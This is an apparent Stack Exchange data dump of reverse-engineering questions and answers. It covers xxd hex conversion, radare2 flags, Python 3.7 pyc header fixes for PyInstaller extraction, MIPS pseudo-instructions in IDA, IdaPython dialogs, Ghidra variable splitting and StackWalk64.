  <row Id="23518" PostTypeId="1" AcceptedAnswerId="23519" CreationDate="2020-03-24T15:21:47.607" Score="0" ViewCount="198" Body="&lt;p&gt;I recently extracted a bunch of raw bytes (from wireshark) into a regular &lt;code&gt;.txt&lt;/code&gt; file. &lt;br&gt; Because these raw bytes are stored in a text file, all those hex-digits are actually written as ASCII characters on the disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want to interpret the ASCII encoded hex-digits as raw bytes,&#xA;because they actually represent a &lt;code&gt;.jpeg&lt;/code&gt; image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I alredy tried to copy paste the digits into ghex, (I work on Ubuntu) but ghex only allows you to paste data into the interpreted area, not into the byte-manipulation area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to do this?&lt;/p&gt;&#xA;" OwnerUserId="29550" LastActivityDate="2020-12-01T15:26:26.093" Title="Convert series of hex digits represented as ASCII-characters stored in a .txt file to raw bytes" Tags="|binary-analysis|file-format|hex|binary-editing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23519" PostTypeId="2" ParentId="23518" CreationDate="2020-03-24T16:40:23.773" Score="0" Body="&lt;p&gt;Not really a reverse engineering question but,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use this in the terminal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cat textfile.txt | xxd -r -p &amp;gt; image.jpeg&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-03-24T16:40:23.773" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23520" PostTypeId="2" ParentId="23517" CreationDate="2020-03-24T20:04:09.673" Score="1" Body="&lt;p&gt;In cutter you have an option under right mouse button click to set a label for a particular value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yp0LP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yp0LP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can use &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; to activate that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From r2 you can get the same behavior by issuing a &lt;code&gt;f name = addr&lt;/code&gt; command. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| f name 12 @ 33           set flag 'name' with length 12 at offset 33&#xA;| f name = 33              alias for 'f name @ 33' or 'f name 1 33'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One caveat,it has to start from &lt;code&gt;label.&lt;/code&gt; to be inlined in your disassembly. If not it will show up as a comment (not sure if that can be controlled) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in your case it would be &lt;code&gt;f label.DosVersion = 0x11&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="18014" LastEditDate="2020-03-25T08:06:59.830" LastActivityDate="2020-03-25T08:06:59.830" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23522" PostTypeId="1" CreationDate="2020-03-25T03:27:48.890" Score="1" ViewCount="5477" Body="&lt;p&gt;So I have this python file and I successfully unpacked its content inside of it we have our file.pyc&#xA;I appended the magic bytes to it so it went from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E3 00 00 00 00 00 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to something that looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;42 0D 0D 0A 00 00 00 00 00 00 00 00 E3 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The magic bytes seem to be correct however when I try to decompile using &quot;uncompyle6&quot; i get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;class 'ValueError'&amp;gt;; bad marshal data (unknown type code)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To solve this I went and tried out &quot;decompyle3&quot; however it still returned the same error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Extra Info:&#xA;[*] Pyinstaller version: 2.1+&#xA;[*] Python version: 37&#xA;[*] Length of package: 21143183 bytes&#xA;[*] Found 66 files in CArchive&#xA;[*] Beginning extraction...please standby&#xA;[+] Possible entry point: pyiboot01_bootstrap&#xA;[+] Possible entry point: pyi_rth_certifi&#xA;[+] Possible entry point: pyi_rth_multiprocessing&#xA;[+] Possible entry point: pyi_rth_pkgres&#xA;[+] Possible entry point: KitsuneSelfbot&#xA;[*] Found 1013 files in PYZ archive&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also Here is the first chunk of bytes from our file.pyc (unedited):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E3 00 00 00 00 00 00 00 00 00 00 00 00 25 00 00 00 40 00 00 00 73 7A 07 00 00 64 00 64 01 6C 00 5A 00 64 00 64 01 6C 01 5A 01 64 00 64 01 6C 02 5A 02 64 00 64 01 6C 03 5A 03 64 00 64 01 6C 04 5A 04 64 00 64 01 6C 05 5A 05 64 00 64 01 6C 06 5A 06 64 00 64 01 6C 07 5A 07 64 00 64 01 6C 08 5A 08 64 00 64 01 6C 09 5A 09 64 00 64 01 6C 0A 5A 0A 64 00 64 01 6C 0B 5A 0B 64 00 64 01 6C 0C 5A 0C 64 00 64 01 6C 0D 5A 0D 64 00 64 01 6C 0E 5A 0E 64 00 64 01 6C 02 5A 02 64 00 64 01 6C 03 5A 03 64 00 64 01 6C 01 5A 01 64 00 64 01 6C 0F 5A 0F 64 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then from our future.pyc these are the first bytes&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;42 0D 0D 0A 00 00 00 00 00 00 00 00 E3 00 00 00 00 00 00 00 00 00 00 00 00 0A 00 00 00 40 00 00 00 F3 D8 00 00 00 64 00 5A 00 64 01 64 02 64 03 64 04 64 05 64 06 64 07 64 08 64 09 64 0A 67 0A 5A 01 64 0B 67 01 65 01 17 00 5A 02 64 0C 5A 03 64 0D 5A 04 64 0E 5A 05 64 0F 5A 06 64 10 5A 07 64 11 5A 08 64 12 5A 09 64 13 5A 0A 64 14 5A 0B 64 15 5A 0C 47 00 64 16 64 17 84 00 64 17 83 02 5A 0D 65 0D 64 18 64 19 65 03 83 03 5A 0E 65 0D 64 1A 64 1B 65 04 83 03 5A 0F 65 0D 64 1C 64 1D 65 05 83 03 5A 10 65 0D 64 1E 64 1D 65 06 83 03&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried unpacking future.pyc however it also returned this same error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;class 'ValueError'&amp;gt;; bad marshal data (unknown type code)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help at all would be appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="31508" LastEditorUserId="1413" LastEditDate="2020-03-25T06:35:33.013" LastActivityDate="2021-05-26T16:28:50.850" Title="Decompiling Python Files: ValueError" Tags="|tools|python|executable|decompile|byte-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23523" PostTypeId="1" CreationDate="2020-03-25T04:19:35.130" Score="2" ViewCount="128" Body="&lt;p&gt;When reversing a MIPS binary using IDA Pro, I have 2 questions. &#xA;The source code is as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main(int argc, char* argv[])&#xA;{&#xA;    int m = 1;&#xA;    int n = 5;&#xA;    printf(&quot;sum = %d\n&quot;, m+n);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;&lt;a href=&quot;https://i.stack.imgur.com/9FpFL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9FpFL.png&quot; alt=&quot;ida pro&quot;&gt;&lt;/a&gt;&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00080510  # int __cdecl main(int argc, const char **argv, const char **envp)&#xA;&#xA;.text:00080510  .globl main    &#xA;.text:00080510  main:    &#xA;.text:00080510      # __unwind {    &#xA;.text:00080510 02 00 1C 3C 00 8B 9C 27  li      $gp, 0x18B00    &#xA;.text:00080518 21 E0 99 03              addu    $gp, $t9    &#xA;.text:0008051C 1C 80 84 8F              li      $a0, 0x80000    &#xA;.text:00080520 44 80 99 8F              la      $t9, printf    &#xA;.text:00080524 A4 08 84 24              addiu   $a0, (aSumD - 0x80000)  # &quot;sum = %d\n&quot;    &#xA;.text:00080528 08 00 20 03              jr      $t9 ; printf    &#xA;.text:0008052C 06 00 05 24              li      $a1, 6    &#xA;.text:0008052C                  # } // starts at 80510    &#xA;.text:00080530&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;(1) I know the &lt;em&gt;li&lt;/em&gt; instruction at offset 0x0008051c is &lt;em&gt;lw&lt;/em&gt; actually. And its encoding format is &#xA;1000 11ss ssst tttt iiii iiii iiii iiii. So I konw sssss = (111100)2 = 28 = $gp, ttttt = (00100)2 = 4 = $a0.&#xA;But I don't know how to calculate 0x80000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(2) The &lt;em&gt;li&lt;/em&gt; instrution at offset 0x00080510 takes 8 bytes, but another &lt;em&gt;li&lt;/em&gt; instruction at offset 0x0008051C takes 4 bytes? Is the first &lt;em&gt;li&lt;/em&gt; instruction a pseudoinstruction? &lt;/p&gt;&#xA;" OwnerUserId="6903" LastEditorUserId="6903" LastEditDate="2020-03-25T04:42:36.163" LastActivityDate="2020-03-25T10:50:24.490" Title="The questions about li instruction" Tags="|ida|mips|encodings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23524" PostTypeId="2" ParentId="23522" CreationDate="2020-03-25T07:18:51.127" Score="2" Body="&lt;p&gt;[Disclaimer: I'm the author of PyInstaller Extractor].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PyInstaller Extractor has been updated to v2.0 which includes supports for Python 3.7 and 3.8. Moreover it automatically fixes the header of extracted pyc's, manual fixing of the header is not needed anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer below no longer applies if you use the &lt;a href=&quot;https://github.com/extremecoders-re/pyinstxtractor&quot; rel=&quot;nofollow noreferrer&quot;&gt;latest version&lt;/a&gt; of the tool.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The cause of the error is because the tool hasn't been updated to support Python versions &gt;= 3.7. Now coming to the actual reason, Python 3.7 and above has a 16 byte header in contrast to Python versions 3.3-3.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quoting &lt;a href=&quot;https://www.python.org/dev/peps/pep-0552/#specification&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEP 552&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;The pyc header currently consists of 3 32-bit words. We will expand it&#xA;  to 4&lt;/strong&gt;. The first word will continue to be the magic number, versioning&#xA;  the bytecode and pyc format. The second word, conceptually the new&#xA;  word, will be a bit field. The interpretation of the rest of the&#xA;  header and invalidation behavior of the pyc depends on the contents of&#xA;  the bit field.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(Emphasis mine)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently you're adding a 12 byte header which needs to increased to 16 as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;42 0D 0D 0A 00 00 00 00 00 00 00 00 00 00 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Similarly, the header of &lt;em&gt;future.pyc&lt;/em&gt; and all the files inside the &lt;em&gt;pyz__extracted&lt;/em&gt; directory also needs to be fixed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, as a temporary workaround until the tool is updated, you can edit &lt;em&gt;pyinstxtractor.py&lt;/em&gt; to make sure it writes a 16 byte header.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Original code in &lt;em&gt;pyinstxtractor.py&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;with open(destName + '.pyc', 'wb') as pycFile:&#xA;    pycFile.write(pycHeader)      # Write pyc magic&#xA;    pycFile.write(b'\0' * 4)      # Write timestamp&#xA;    if self.pyver &amp;gt;= 33:&#xA;        pycFile.write(b'\0' * 4)  # Size parameter added in Python 3.3&#xA;    pycFile.write(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Patched code in &lt;em&gt;pyinstxtractor.py&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;with open(destName + '.pyc', 'wb') as pycFile:&#xA;    pycFile.write(pycHeader)      # Write pyc magic&#xA;    pycFile.write(b'\0' * 12)&#xA;    pycFile.write(data)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2020-03-26T07:44:03.723" LastActivityDate="2020-03-26T07:44:03.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23525" PostTypeId="1" CreationDate="2020-03-25T07:59:45.840" Score="0" ViewCount="1761" Body="&lt;p&gt;How can I get input from user with IdaPython?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried &lt;code&gt;str = input()&lt;/code&gt; ,I got error &lt;code&gt;RuntimeError: input(): lost.sys.stdin&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="28889" LastActivityDate="2020-03-25T09:08:50.180" Title="Get input with IdaPython" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23526" PostTypeId="2" ParentId="23523" CreationDate="2020-03-25T08:32:10.163" Score="3" Body="&lt;p&gt;MIPS instructions are 4 bytes (32 bit) in size. Hence it's not possible to load a 32 bit constant using a single instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;li  $gp, 0x18B00&lt;/code&gt; instruction is indeed a pseudo instruction. It's composed of two instructions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lui     gp, 0x2&#xA;addiu   gp,gp,-29952&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Screenshot from Online Disassembler&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6guzr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6guzr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;lui&lt;/code&gt; (Load Upper Immediate) instruction loads a 16-bit constant into the upper 16 bits of a register (&lt;code&gt;$gp&lt;/code&gt; here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;addiu&lt;/code&gt; instruction adds a 16 bit integer to a register. The final value in &lt;code&gt;$gp&lt;/code&gt; can be calculated as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$gp = (2 &amp;lt;&amp;lt; 16) + (-29952) = 0x18B00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA pro and other disassemblers does this calculation automatically and displays the final result using a single pseudo instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other &lt;code&gt;li  $a0, 0x80000&lt;/code&gt; instruction at &lt;code&gt;0008051C&lt;/code&gt; is actually a &lt;code&gt;lw&lt;/code&gt; (Load Word) instruction. The &lt;code&gt;lw&lt;/code&gt; instruction loads a word from memory into a register. The value &lt;code&gt;0x80000&lt;/code&gt; is thus located in memory at &lt;code&gt;[$gp - 32740]&lt;/code&gt; and not a part of the instruction itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA however simplifies and shows it as &lt;code&gt;li  $a0, 0x80000&lt;/code&gt; as the net result is the value &lt;code&gt;0x80000&lt;/code&gt; is copied to the register.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2020-03-25T10:50:24.490" LastActivityDate="2020-03-25T10:50:24.490" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23527" PostTypeId="2" ParentId="23525" CreationDate="2020-03-25T09:08:50.180" Score="1" Body="&lt;p&gt;You can use the &lt;code&gt;ask_*&lt;/code&gt; functions from the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/ida_kernwin-module.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ida_kernwin&lt;/code&gt; module&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ask_long&lt;/code&gt;: Display a dialog box and wait for the user to input an number&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ask_str&lt;/code&gt;: Display a dialog box and wait for the user to input a text string&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ask_file&lt;/code&gt;: Display a dialog box and wait for the user to input a file name&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ask_form&lt;/code&gt;: Display a dialog box and wait for the user&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are also the &lt;code&gt;choose_*&lt;/code&gt; functions if you want the user to choose something from the database (function, segment, structure). And fully customisable forms (see &lt;a href=&quot;https://github.com/idapython/src/blob/master/examples/widgets/forms/askusingform.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;this example&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="31409" LastActivityDate="2020-03-25T09:08:50.180" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23528" PostTypeId="1" CreationDate="2020-03-25T12:23:14.230" Score="1" ViewCount="134" Body="&lt;p&gt;In my IdaPython script I print function that I found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;print(func_address)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that if user click  on this function (in output windows) Ida will jump to this function?&lt;/p&gt;&#xA;" OwnerUserId="28889" LastActivityDate="2020-05-06T13:19:50.577" Title="Link to function with IdaPython" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23529" PostTypeId="1" CreationDate="2020-03-25T12:28:04.200" Score="2" ViewCount="1123" Body="&lt;p&gt;How can I find the real function that  &lt;code&gt;*(_DWORD *)v2 + 24)&lt;/code&gt; points to?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;(*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);&#xA;&#xA;int __fastcall sub_1(int a1, int a2)&#xA;{&#xA;  int v2; // r4@1&#xA;  int v3; // r5@1&#xA;  int v4; // r6@1&#xA;  int v5; // r0@2&#xA;  int v6; // r0@2&#xA;  unsigned int v7; // r0@4&#xA;  int v8; // r5@8&#xA;&#xA;  v2 = a2;&#xA;  v3 = a1;&#xA;  sub_2(a2);&#xA;  v4 = *(_BYTE *)(sub_3(*(_DWORD *)(v3 + 1684)) + 13);&#xA;  (*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);&#xA;  if ( v4 )&#xA;  {&#xA;    (*(void (__fastcall **)(int, _DWORD))(*(_DWORD *)v2 + 56))(v2, *(_DWORD &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31511" LastEditorUserId="37138" LastEditDate="2021-12-17T18:38:48.980" LastActivityDate="2021-12-19T22:47:42.843" Title="How can I find the real function that *(_DWORD *)v2 + 24) points to?" Tags="|ida|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23531" PostTypeId="1" CreationDate="2020-03-25T16:29:44.163" Score="0" ViewCount="262" Body="&lt;p&gt;There is a tool called LuteBot which is used in the game Mordhau to be able to make the player play midi files with the in game lute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the tool you need to specify the location of the file &lt;strong&gt;DefaultInput.ini&lt;/strong&gt; from the game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the tool does not work anymore since the game was updated and renamed the file &quot;DefaultInput.ini&quot; to &quot;Input.ini&quot;. The tool still listens for the file &quot;DefaultInput.ini&quot; and if you try to add the location of &quot;Input.ini&quot; then you see an error message saying &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Please select the file &quot;DefaultInput.ini&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JDMSR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JDMSR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change the .exe to make it look for &lt;strong&gt;Input.ini&lt;/strong&gt; instead of &lt;strong&gt;DefaultInput.ini&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only found the text &quot;DefaultInput&quot; two times, it looks like those are methods:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RjAWa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RjAWa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openDefaultInputiniToolStripMenuItem&#xA;setDefaultInputiniLocationToolStripMenuItem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I figured it out by doing this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;E&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;find your exe file. select it &lt;code&gt;right click&lt;/code&gt; and select &lt;code&gt;View executable file&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;press &lt;kbd&gt;CTRL&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; and searched for &quot;DefaultInput&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24602" LastEditorUserId="24602" LastEditDate="2020-03-25T16:36:37.330" LastActivityDate="2020-03-26T04:50:19.250" Title="OllyDbg - change loaded file name - Fix error caused by renamed file" Tags="|ollydbg|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23532" PostTypeId="1" CreationDate="2020-03-25T20:15:12.677" Score="0" ViewCount="198" Body="&lt;p&gt;Hoping this has a simple answer... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to use Radare2 to generate assembly code that later can be compiled in Avr studio 7. What I notice is that Radare (running pD) generates assembly code that is byte addressed whereas Avr Studio works with word addressing. &#xA;Is there any simple way of instructing Radare2 to handle addressing using words rather than bytes?&#xA;Many thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards,&#xA;  Staffan&lt;/p&gt;&#xA;" OwnerUserId="31517" LastActivityDate="2020-03-26T07:28:50.693" Title="Decompile in Radare for use in AVR studio, byte addressing vs word addressing" Tags="|radare2|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23533" PostTypeId="2" ParentId="23531" CreationDate="2020-03-26T04:50:19.250" Score="1" Body="&lt;p&gt;Googling it, it's actually an opensource software. Here is the &lt;a href=&quot;https://github.com/MontyLeGueux/Lutebot-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;. Path resolution is done at line 90 in &lt;code&gt;LuteBot/IO/Files/SaveManager.cs&lt;/code&gt;. Change the name of the &lt;code&gt;ini&lt;/code&gt; file there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to patch the string in the binary, make sure you search for unicode strings since C# will use unicode strings by default.&lt;/p&gt;&#xA;" OwnerUserId="2043" LastActivityDate="2020-03-26T04:50:19.250" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23535" PostTypeId="2" ParentId="23339" CreationDate="2020-03-26T08:42:28.623" Score="0" Body="&lt;p&gt;For Windows x64 systems, there is Microsoft’s &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/dbghelp/nf-dbghelp-stackwalk64&quot; rel=&quot;nofollow noreferrer&quot;&gt;StackWalk64&lt;/a&gt; function from &lt;code&gt;dbghelp.h&lt;/code&gt;. From my experience, it reliably recognizes stack frames on the stack and can thus be used to determine the depth of the call stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem is obtaining a valid &lt;code&gt;CONTEXT&lt;/code&gt; for the current thread because, &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext#remarks&quot; rel=&quot;nofollow noreferrer&quot;&gt;according to the docs,&lt;/a&gt; &lt;code&gt;GetThreadContext&lt;/code&gt; cannot be used for the current thread. You might have to suspend the thread first; in my case, a library is doing that for me so I’m not including the code here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given a valid &lt;code&gt;CONTEXT Context&lt;/code&gt;, setup the necessary data:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STACKFRAME64 StackFrame;&#xA;StackFrame.AddrPC.Offset = Context.Rip;&#xA;StackFrame.AddrPC.Mode = AddrModeFlat;&#xA;StackFrame.AddrFrame.Offset = Context.Rbp; // maybe .Rsp&#xA;StackFrame.AddrFrame.Mode = AddrModeFlat;&#xA;StackFrame.AddrStack.Offset = Context.Rsp;&#xA;StackFrame.AddrStack.Mode = AddrModeFlat;&#xA;&#xA;// Arguments for StackWalk64&#xA;DWORD MachineType = IMAGE_FILE_MACHINE_AMD64;&#xA;HANDLE hProcess = GetCurrentProcess();&#xA;HANDLE hThread = GetCurrentThread();&#xA;LPSTACKFRAME64 pStackFrame = &amp;amp;StackFrame;&#xA;PVOID ContextRecord = &amp;amp;Context;&#xA;PREAD_PROCESS_MEMORY_ROUTINE64 ReadMemoryRoutine = NULL;&#xA;PFUNCTION_TABLE_ACCESS_ROUTINE64 FunctionTableAccessRoutine = SymFunctionTableAccess64;&#xA;PGET_MODULE_BASE_ROUTINE64 GetModuleBaseRoutine = SymGetModuleBase64;&#xA;PTRANSLATE_ADDRESS_ROUTINE64 TranslateAddress = NULL;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then walk the stalk:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int depth = 0;&#xA;&#xA;while (StackWalk64(&#xA;        MachineType,&#xA;        hProcess,&#xA;        hThread,&#xA;        &amp;amp;StackFrame,&#xA;        ContextRecord,&#xA;        ReadMemoryRoutine,&#xA;        FunctionTableAccessRoutine,&#xA;        GetModuleBaseRoutine,&#xA;        TranslateAddress)&#xA;    )&#xA;{&#xA;    ++depth;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31228" LastActivityDate="2020-03-26T08:42:28.623" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23536" PostTypeId="2" ParentId="21322" CreationDate="2020-03-26T09:41:04.903" Score="2" Body="&lt;p&gt;Yaldi already mentioned the important first step of &lt;code&gt;Commit Locals&lt;/code&gt; for finer variable scoping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your Ghidra version has at least the commit &lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra/commit/885402bbc3618b895c4b9b8f09300d3120a9abe8&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NationalSecurityAgency/ghidra/commit/885402bbc3618b895c4b9b8f09300d3120a9abe8&lt;/a&gt; which will probably be in the &lt;code&gt;9.2&lt;/code&gt; release you can explicitly split a variable after &lt;code&gt;Commit Locals&lt;/code&gt;, by right clicking the variable in the decompiler view and selecting &lt;code&gt;Split out as New Variable.&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-03-26T09:41:04.903" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
